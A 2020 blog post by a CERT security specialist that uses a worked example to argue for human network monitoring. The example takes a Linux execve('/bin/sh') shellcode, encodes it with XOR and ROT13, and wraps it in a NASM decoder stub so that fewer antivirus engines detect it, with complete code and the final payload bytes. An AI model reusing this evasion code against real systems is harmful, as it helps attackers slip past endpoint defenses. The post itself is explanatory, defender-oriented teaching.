Clicky
Tech Post

Why we should take care of our network activity by human analyst – From cyber security perspective


Published : 14 May 2020 04:46 PM | Updated : 06 Oct 2021 11:20 AM

After successful intrusion into the network, intruder usually maintain a communication between its network to compromise system, which is commonly known as “backdoor”. Usually intruder put a backdoor shell for maintain remote connection.

An analyst can be relaxing by thinking, the system resource can be protected by endpoint security and AV will trigger if there is some malicious program run into the system.

Now we should come to the point and want to discuss some thing about shellcode more specifically Polymorphic Shellcode.

What is shellcode: As per wiki:

In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode. Because the function of a payload is not limited to merely spawning a shell, some have suggested that the name shellcode is insufficient. However, attempts at replacing the term have not gained wide acceptance. Shellcode is commonly written in machine code.

[Reference: https://en.wikipedia.org/wiki/Shellcode]

The most popular payload generator tool is MSFvenom(combination of Msfpayload and Msfencode) from Metasploit Framework.

But most of AV know about MSFvenom and its encoding: if someone generate payload using MSFvenom, there possibility good number of AV will detect and stop its activity.

What will be happen if someone prepare some sort of custom shellcode more specifically Polymorphic Shellcode.  Let an example for this educational purpose:

Just consider the following shellcode:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

For make the shellcode working as exectualbes we may compile in below “c” file:

shellcode.c

#include<stdio.h>

#include<string.h>

unsigned char code[] = \

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main()

{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}



We can complie the c file as like below:

gcc -fno-stack-protector -z execstack  shellcode.c -o simpleshell

[Please note this is not like privilage escalation type code. Here I execute with root privilage]

This executable will spawn a Linux/x86 - execve(/bin/sh) shell. Just like below:

After upload this file to https://www.virustotal.com, we get a good AV detection (9/60):

SHA256 value: fcb472246f0c45998a55c520e03b2c5d020f68e4df434f3ca28702f0c04057f4

Time stamp: 17:23 Hours at 11th May,2020 (GMT+6)

Polymorphic Shellcode: As per wiki:

In computer terminology, polymorphic code is code that uses a polymorphic engine to mutate while keeping the original algorithm intact. That is, the code changes itself each time it runs, but the function of the code (its semantics) will not change at all. For example, 1+3 and 6-2 both achieve the same result while using different values and operations. This technique is sometimes used by computer viruses, shellcodes and computer worms to hide their presence.

[Reference: https://en.wikipedia.org/wiki/Polymorphic_code] 


Now we just do a simple trick. We will XOR the payload with “AA” and with this XOR payload we will again encode with simple ROT-13. (All this method is very well known).  Then we will put this payload to our nasm file with decryption logic (decrypt place the shellcode with ROT13 logic and then do XOR with “AA” for retrieve the original payload].

For this we can prepare a python script as like below:

shellcodexorrot13.py

#!/bin/python


shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")


rot13 = 13


encoded1 = ""

encoded2 = ""


for x in bytearray(shellcode):

 y = x^0xAA

 z = (y + rot13)%256


 encoded1 += '\\x'

 encoded1 += '%02x' %z


 encoded2 += '0x'

 encoded2 += '%02x,'%z


print encoded1


print encoded2


print 'Len: %d' % len(bytearray(shellcode))


Our python script output is as below:

\xa8\x77\x07\xcf\x92\x92\xe6\xcf\xcf\x92\xd5\xd0\xd1\x30\x56\x07\x30\x55\x06\x30\x58\x27\xae\x74\x37

0xa8,0x77,0x07,0xcf,0x92,0x92,0xe6,0xcf,0xcf,0x92,0xd5,0xd0,0xd1,0x30,0x56,0x07,0x30,0x55,0x06,0x30,0x58,0x27,0xae,0x74,0x37


Now for making the shellcode working we need to prepare a “nasm” file, where we will put our encoded shellcode (encode with XOR AA then perform ROT13), for decoding.

So our nasm file is look like below:

xorrot13decoder.nasm

global _start


section .text

_start:


;JMP-CALL-POP technique use for decode the shellcode


jmp short call_shellcode

 

decoder: 

   

    pop esi                

    xor ecx, ecx 

    mov cl, 25 ;Encoded shellcode length 

   

decode:


    sub byte [esi], 0xD   ;ROT-13 Decode

    xor byte [esi], 0xAA ;XOR AA Decode          

    inc esi 

    loop decode 

    jmp short shellcode


call_shellcode:

call decoder

shellcode: db  0xa8,0x77,0x07,0xcf,0x92,0x92,0xe6,0xcf,0xcf,0x92,0xd5,0xd0,0xd1,0x30,0x56,0x07,0x30,0x55,0x06,0x30,0x58,0x27,0xae,0x74,0x37


We can make our decoded shellcode from the above nasm file is as below:

nasm -f elf xorrot13decoder.nasm

ld -o xorrot13decoder xorrot13decoder.o

objdump -d ./xorrot13decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

So our final payload will be as follows:

“\xeb\x10\x5e\x31\xc9\xb1\x19\x80\x2e\x0d\x80\x36\xaa\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xa8\x77\x07\xcf\x92\x92\xe6\xcf\xcf\x92\xd5\xd0\xd1\x30\x56\x07\x30\x55\x06\x30\x58\x27\xae\x74\x37”

For of encoding and decoding staff, the payload is increase from it’s original size.

Now we can put this shellcode to our shellcode.c file by replacing the original shellcode:

shellcode.c

#include<stdio.h>

#include<string.h>

unsigned char code[] = \

"\xeb\x10\x5e\x31\xc9\xb1\x19\x80\x2e\x0d\x80\x36\xaa\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xa8

\x77\x07\xcf\x92\x92\xe6\xcf\xcf\x92\xd5\xd0\xd1\x30\x56\x07\x30\x55\x06\x30\x58\x27\xae\x74\x37";

int main()

{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}


We can complie the shellcode.c file as like below:

gcc -fno-stack-protector -z execstack  shellcode.c -o xorrot13shell

The shell length is increase but this will do same work as previous shellcode (spawn a /bin/sh shell) as like below:

Now let check this AV detection rate from https://www.virustotal.com

Now the result is 6/60: total 3 is less from its original shellcode.

SHA256 value: 11617342e95380f721a71bb6accd41c605e64798e2693d7066da6309d1614919

Time stamp: 17:46 Hours at 11th May,2020 (GMT+6)

This article is not focus on AV bypass. My intension is using some sort of simple well-known trick there is some way to fool the AV or some other perimeter.

What happen, if cybercriminals, intruder use end -to-end encrypted communication like crypter and if they use some standard TCP port (below 1024) for example, maintain a crypter in TCP port 587?

There is a possibility, automated solution may show an event but may not show as a warning and there is also a possibility analyst may overlook it.

What cybercriminals thinks today, maybe we will know that after 10/15 years later, maybe I am wrong but they are clearly ahead from us.

Achieve 100 percent cyber security is impossible. This job is tough and vague.

There is a possibility, sometimes the inline Anti-DDOS, IPS, FW can be fooled and SIEM shows event with low priority and intruder do its job done.  Even in worse case scenario there is possibility that the incident not detected for a long period of time.

For a better cyber security defense strategy, we need to work as a team (yes, this is not a single man job).  We should realize our limitation and act accordingly for minimize the gap. The network view must be clear and precious. Organization should not fully depend on its automated solution/systems.

Analyst should not only care for malicious or suspected communication events but also un-usual event (for example, a standard TCP communication event with unknown IP) and organization should provide continuous learning opportunity to its people as in people, process, technology triad, PEOPLE is the FIRST important element. 

Finally, finish this article with a quote from Cryptography guru Bruce Schneier:

Amateurs hack systems, professionals hack people. 

 


About author:

Debashis Pal presently working as Information Security Specialist in BGD e-GOV CIRT Team (www.cirt.gov.bd), Bangladesh.